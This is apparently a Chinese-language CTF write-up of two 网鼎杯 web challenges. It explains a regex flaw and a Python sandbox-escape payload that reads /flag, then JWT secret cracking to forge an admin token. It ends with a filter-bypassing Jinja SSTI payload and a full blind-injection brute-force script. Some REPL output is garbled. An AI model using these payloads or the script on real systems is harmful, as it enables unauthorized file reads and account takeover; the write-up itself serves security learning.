之前接触的大部分是PHP写的服务器端,而除了PHP,Python也可以作为服务器端的语言,利用的是Python的flask模块渲染html模板,同时也可能存在Python语句执行的漏洞,这就是SSTI漏洞,即服务器端模板注入,本篇文章通过网鼎杯的两道SSTI题简单学习了解一下Python沙箱逃逸的原理
网鼎杯第二场Web:calc
题目如下,是一个计算器,可以执行一些简单的算式,根据题目的提示,可能对我们的输入存在正则匹配过滤,需要我们注意正则表达式
1^[0-9.]+\s*[*+-/]\s*[0-9.]+
这里的正则表达式存在两个问题
1.首先是[*+-/],我们知道’-‘在正则表达式里有特别的意义,表示范围,而在这里并没有被转义,说明是从’+’-‘/‘的字符
2.正则表达式并没有给出$结尾符,说明我们只需要符合前面的匹配,后面可以任意构造语句执行
我们可以试着访问index.php
出现了报错信息
从报错信息可以看出,这里是python写的web
这里先给出payload:
11+1,().__class__.__base__.__subclasses__()[40]('/flag').read()
下面我们在Python 2.7环境中一步步看看
1().__class__.__base__.__subclasses__()[40]('/flag').read()
为什么就能读取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39>>>().__class__
>>>().__class__
>>>().__class__.__base__
>>>().__class__.__base__.__subclasses__
>>>().__class__.__base__.__subclasses__()
[, , ,
, , , , ,
oneType'>, , , ,
e 'xrange'>, , , , ,
, , , ,
set'>, , , ,
>, , , ,
method'>, , , ,
dictproxy'>, , ,
riptor'>, , , ,
e 'file'>, , , ,
'iterator'>, , ,
'>, , ,
nfo'>, , ,
eException'>, , ,
porter'>, , ,
WarningMessage'>, ,
ionGuard'>, , ,
assmethod'>, , ,
l.Container'>, , ,
'>, , , ,
'_sre.SRE_Pattern'>, , ,
'site.Quitter'>, ,
lDecoder'>, , ,
perator.methodcaller'>, , ,
pe 'MultibyteIncrementalEncoder'>, ,
MultibyteStreamReader'>, ]
>>> ().__class__.__base__.__subclasses__()[40]
>>>
我们可以发现
1().__class__.__base__.__subclasses__()[40]
返回的是file类型,我们在后面传入文件名,就相当于读取文件
这就是python沙箱逃逸的原理
网鼎杯第三场:mmmmy
题目是一个登陆页面,随手试一下用户名test,密码test,成功登录,点击留言,提示只有admin用户才能留言,猜测必须用admin用户登陆,抓包观察
发现登陆时同时设置了cookie的token字段,而在此访问时,服务器根据token字段识别test用户,观察token值,是经过JWT加密后的值,首先使用 c-jwt-cracker 爆破 secret key,结果为
加密后的token值替换原本test的token值伪造admin用户登陆
然后这里的留言post的text存在SSTI漏洞,但是这里过滤了双花括号的写法,我们可以换成流程控制结构的写法 执行语句 ,测试如下:
后面的数据就要依靠盲注出来了
1text={% if ().__class__.__base__.__subclasses__()[40]('/flag').read()[0]=='f' %}1{% else %}0{% endif %}
但是这里还过滤了一些关键字,例如’_’,所以我们可以将这些关键属性class,base等放入别的参数,从而绕过对text参数过滤
使用payload如下:
1text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0] %}good{% endif %}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz
脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import requests
url = "http://0fe97b99c09c4a1cbf5eb0610879c4e93f084e23d438487d.game.ichunqiu.com/bbs"
all_string = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
for i in range(100):
f = 1
for j in range(39):
print('checking '+all_string[j])
data = {
'text':"{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d] %%}good{%% endif %%}"%(j,i),
'a':'__class__',
'b':'__base__',
'c':'__subclasses__',
'd':'/flag',
'e':all_string
}
r = requests.post(url=url,data=data,cookies=cookie)
if 'good' in r.text:
flag = flag + all_string[j]
print('the '+str(i)+' place of flag is: '+all_string[j])
break
elif 'good' not in r.text and j == 38:
f = 0
break
if f == 0:
break
print('flag: ' + flag)
#flag: flag{49ec4dfd-6600-4651-a5ff-9c190562991f}